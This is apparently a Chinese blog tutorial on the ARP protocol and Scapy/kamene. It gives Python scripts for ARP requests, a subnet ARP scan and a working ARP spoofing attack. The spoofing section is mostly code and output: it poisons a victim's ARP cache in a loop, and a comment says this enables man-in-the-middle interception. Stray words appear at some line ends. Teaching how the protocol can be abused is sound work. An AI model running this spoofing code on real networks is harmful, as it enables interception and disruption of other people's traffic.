用Python構造ARP請求、掃描、欺騙


[TOC]python


0. ARP介紹

首先,先回憶下TCP/IP模型,從下到上分爲:數據鏈路層、網絡層、傳輸層、應用層,那麼ARP到底屬於哪一層?有人會說是網絡層,但實際是屬於數據鏈路層,只不過還要爲網絡層提供服務。linux

ARP的主要用途是IP(32bit)地址到物理MAC(48bit)地址的映射關係。別看表面主機知道了遠端IP地址就能夠通訊,實則先要知道遠端的MAC地址(藉助ARP),經過網卡到交換機構建數據鏈路層通訊,再經過上層進行數據交互。git

另外,你可能會了解到代理ARP、免費ARP、RARP這些,其中你都能搞明白他們工做原理是怎麼樣的嘛? 這裏我們簡單回顧一下:github

  • 代理ARP:通常路由器一般充當代理角色,代替遠端主機響應本地的ARP請求;
  • 免費ARP:一種特殊ARP請求報文,用於檢測IP衝突、硬件地址變動觸發免費ARP;
  • RARP:與ARP相反,主要用於無盤工做站,請求物理MAC(48bit)地址到IP(32bit)地址的映射;

1. Scapy簡述

Scapy是一個Python語言編寫的工具,也是一個強大的交付式數據包處理程序,可以僞造或者解碼大量的網絡協議數據包,可以發送、嗅探、剖析和僞造網絡數據包,如端口掃描、路由跟蹤、探測、攻擊或網絡發現等。使用Scapy能夠替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至能夠代替nmap、tcpdump和tshark的部分功能。此外,Scapy還有不少其餘工具沒有的特性,如發送無效數據幀、注入修改的802.11數據幀、在WEB上解碼加密通道(VOIP)、ARP緩存攻擊(VLAN)等。shell

Scapy的主要功能以下:ubuntu

  • Scanning(掃描)
  • Fingerprinting(識別)
  • Testing(測試)
  • Packet forging(包鑄造)
  • Attacking(攻擊)
  • Sniffing(抓包分析)

收發數據包介紹:緩存

  • sr():發送三層數據包,等待接受一個或者多個數據包的響應。
  • sr1( ):發送三層數據包,並僅僅只等待接受一個數據包的響應。
  • srp():發送二層數據包,而且等待響應。
  • send():僅僅發送三層數據包,系統會自動處理路由和二層信息。
  • sendp():發送二層數據包。

做爲網工,你是否是常常抓包來分析某協議頭部結構,如今就能夠用Scapy來構造發送數據包啦。安全

在python3的環境下,如今叫法是 Kamene,以前叫作Scapy。bash

2. Scapy簡單演示

2.1 安裝

pip3 install -i https://pypi.douban.com/simple/ kamene	#使用豆瓣源進行安裝kamene
複製代碼

說明:強烈建議在linux環境下安裝及測試(我用的是ubuntu 16)。微信

2.2 構造包演示

2.2.1 進入kamene交互界面

#安裝好後,直接經過kamene進入,相似python交互式界面
root@ubuntu:~# kamene
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/kamene
WARNING: IPython not available. Using standard Python shell instead.
Welcome to kamene (3.0.0)
>>> 
複製代碼

2.2.2 查看以太網頭部

>>> Ether()
<Ether  |>
>>> _.show()	#'_' 下劃線表示上一條命令執行的結果,經過show()展現結果
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
  dst= ff:ff:ff:ff:ff:ff
  src= 00:00:00:00:00:00
  type= 0x9000
複製代碼

2.2.3 查看 ICMP 頭部

>>> ICMP()
<ICMP  |>
>>> _.show()
###[ ICMP ]###
  type= echo-request
  code= 0
  chksum= None
  id= 0x0
  seq= 0x0
複製代碼

2.2.4 查看 IP 頭部

>>> IP()
<IP  |>
>>> _.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\
複製代碼

2.2.5 查看 TCP/UDP 頭部

>>> TCP()
<TCP  |>
>>> _.show()
###[ TCP ]###
  sport= ftp_data
  dport= http
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= {}
    
>>> UDP()
<UDP  |>
>>> _.show()
###[ UDP ]###
  sport= domain
  dport= domain
  len= None
  chksum= None
複製代碼

2.2.6 簡單構造 ICMP 包

#經過 '/' 可疊加多個協議層(左底層到由上層),如Ether()/IP()/UDP()/DNS()
>>> p = sr1(IP(src='192.168.8.128' , dst='192.168.8.254')/ICMP()/b'This is a ICMP packet')
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ IP ]###
  version= 4
  ihl= 5
  tos= 0x0
  len= 49
  id= 1909
  flags= 
  frag= 0
  ttl= 128
  proto= icmp
  chksum= 0xa088
  src= 192.168.8.254
  dst= 192.168.8.128
  \options\
###[ ICMP ]###
     type= echo-reply		#收到一個replay包
     code= 0
     chksum= 0x55ad
     id= 0x0
     seq= 0x0
###[ Raw ]###
        load= 'This is a ICMP packet'
複製代碼

2.2.7 簡單 構造 ARP 包

先看下ARP包的格式:

>>> ARP()
<ARP  |>
>>> _.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800	#協議號
  hwlen= 6
  plen= 4
  op= who-has	#op=1表示Request,op=2表示Response
  hwsrc= 00:0c:29:5d:2f:55	#源MAC地址
  psrc= 192.168.8.128	#源IP地址
  hwdst= 00:00:00:00:00:00	#初始目的爲廣播地址
  pdst= 0.0.0.0		#缺省爲空
複製代碼

簡單構造 ARP 請求包:

>>> p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800
  hwlen= 6
  plen= 4
  op= is-at
  hwsrc= 00:50:56:e7:d0:87
  psrc= 192.168.8.254
  hwdst= 00:0c:29:5d:2f:55	#返回的是arp響應包,獲取到目的映射的MAC地址
  pdst= 192.168.8.128
###[ Padding ]###
     load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
複製代碼

接下來,我們玩點複雜的。。。

3. 構造 ARP 請求

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公衆號:點滴技術
#這裏有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的。

import logging

logging.getLogger("kamene.runtime").setLevel(logging.ERROR)  # 清除報錯
from kamene.all import *
from Tools.Get_address import get_ip_address  # 獲取本機IP地址
from Tools.Get_address import get_mac_address  # 獲取本機MAC地址
from Tools.Scapy_iface import scapy_iface  # 獲取scapy iface的名字


def arp_request(dst_addr, ifname):
    # 獲取本機IP地址
    local_ip = get_ip_address(ifname)
    # 獲取本機MAC地址
    local_mac = get_mac_address(ifname)
    try: 
        # 發送ARP請求並等待響應
        #op=1表示請求,op=2表示響應
        #當op=1,hwsrc=表示本地mac,hwdst表示廣播(首包),psrc表示本地IP,pdst表示目的IP
        result_raw = sr1(ARP(op=1,
                             hwsrc=local_mac,
                             hwdst='00:00:00:00:00:00',
                             psrc=local_ip,
                             pdst=dst_addr),
                         iface=scapy_iface(ifname),
                         timeout=1,
                         verbose=False)
        print(result_raw.show())
        #返回目的IP地址,和目的MAC地址,getlayer(ARP)取整個ARP數據包,
        return dst_addr, result_raw.getlayer(ARP).fields.get('hwsrc')

    except AttributeError:
        return dst_addr, None


if __name__ == "__main__":
    # Windows Linux都可使用
    # arp_result = arp_request('192.168.100.1', "WLAN")
    arp_result = arp_request('192.168.8.254', "ens32")
    print("IP地址:", arp_result[0], "MAC地址:", arp_result[1])
複製代碼

運行結果以下:

IP地址: 192.168.8.254 MAC地址: 00:50:56:e7:d0:87
複製代碼

4. 構造 ARP 掃描

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公衆號:點滴技術
#這裏有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的空間

import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)
import ipaddress
from multiprocessing.pool import ThreadPool     #多線程
from ARP_Request import arp_request     #返回IP 和 MAC


def arp_scan(network,ifname):
    #要掃描的網段
    net = ipaddress.ip_network(network , strict=False)
    #空列表,存放字符串IP地址
    ip_list = []
    for ip in net:
        ip_list.append(str(ip))     #ip格式轉爲str,放入ip_list

    pool = ThreadPool(processes=100)    #線程池併發100
    result = []
    for i in ip_list:
        result.append(pool.apply_async(arp_request , args=(i,ifname)))
    pool.close()
    pool.join()

    #存放活躍的IP與MAC的字典
    scan_dict = {}
    for r in result:
        if r.get()[1] is not None:
            scan_dict[r.get()[0]] = r.get()[1]
    # print(scan_dict)
    return scan_dict

if __name__ == '__main__':
    net = '192.168.8.0/24'
    name = 'ens32'
    import time
    start_time = time.time()
    print("活動IP地址以下:")
    for ip , mac in arp_scan(network=net,ifname=name).items():
        print("IP地址: {} 是活動的,MAC地址是 {}".format(ip , mac))
    end_time = time.time()
    print('本次掃描花費時間:%.2f' % (end_time - start_time))
複製代碼

運行結果以下:

活動IP地址以下:
IP地址: 192.168.8.1 是活動的,MAC地址是 00:50:56:c0:00:08
IP地址: 192.168.8.254 是活動的,MAC地址是 00:50:56:e7:d0:87
本次掃描花費時間:14.52
複製代碼

5. 構造 ARP 欺騙

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公衆號:點滴技術
#這裏有靠譜、有價值的、免費分享、成長的,屬於網絡攻城獅的空間


import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)  # 清除報錯

from kamene.all import *
from Tools.Get_address import get_ip_address  # 導入獲取本機IP地址方法
from Tools.Get_address import get_mac_address  # 導入獲取本機MAC地址方法
from ARP_Request import arp_request  # 導入以前建立的ARP請求腳本
from Tools.Scapy_iface import scapy_iface  # 獲取scapy iface的名字
import time
import signal


def arp_spoof(ip_1,ip_2,ifname='ens35'):
    # 申明全局變量
    global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    #賦值到全局變量
    #dst_1_ip爲被毒化ARP設備的IP地址,dst_ip_2爲本機假裝設備的IP地址
    #local_ifname爲攻擊者使用的網口名字
    dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname

    # 獲取本機IP和MAC地址,而且賦值到全局變量
    localip, localmac= get_ip_address(ifname), get_mac_address(ifname)

    # 獲取被欺騙ip_1的MAC地址,真實網關ip_2的MAC地址
    dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[1], arp_request(ip_2,ifname)[1]

    # 引入信號處理機制,若是出現ctl+c(signal.SIGINT),使用sigint_handler這個方法進行處理
    signal.signal(signal.SIGINT, sigint_handler)

    while True:  # 一直攻擊,直到ctl+c出現!!!
        # op=2,響應ARP
        sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
              iface=scapy_iface(local_ifname),
              verbose=False)

        print("發送ARP欺騙數據包!欺騙{} , {}的MAC地址已是我本機{}的MAC地址啦!!!".format(ip_1,ip_2,ifname))
        time.sleep(1)


# 定義處理方法
def sigint_handler(signum, frame):
    # 申明全局變量
    global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    print("\n執行恢復操做!!!")
    # 發送ARP數據包,恢復被毒化設備的ARP緩存
    sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
          iface=scapy_iface(local_ifname),
          verbose=False)
    print("已經恢復 {} 的ARP緩存啦".format(dst_1_ip))
    # 退出程序,跳出while True
    sys.exit()

if __name__ == "__main__":
    # 欺騙192.168.1.101,讓它認爲192.168.1.102的MAC地址爲本機攻擊者的MAC
    #若是攻擊者沒有路由通訊就會中斷,若有路由就能夠竊取雙方通訊的信息(所謂中間人)
    arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')
複製代碼

運行結果以下:

發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
^C
執行恢復操做!!!
已經恢復 192.168.1.101 的ARP緩存啦
複製代碼

ARP高速緩存表被欺騙先後效果圖:

**備註:**持續發送ARP響應包,設備收到最新的就會更新本地ARP緩存表,因此ARP安全性過低了。

附錄**:

官方學習資源
https://scapy.net/
http://github.com/phaethon/kamene
複製代碼

若是喜歡的個人文章,歡迎關注個人公衆號:點滴技術,掃碼關注,不按期分享

點滴技術
相關文章
相關標籤/搜索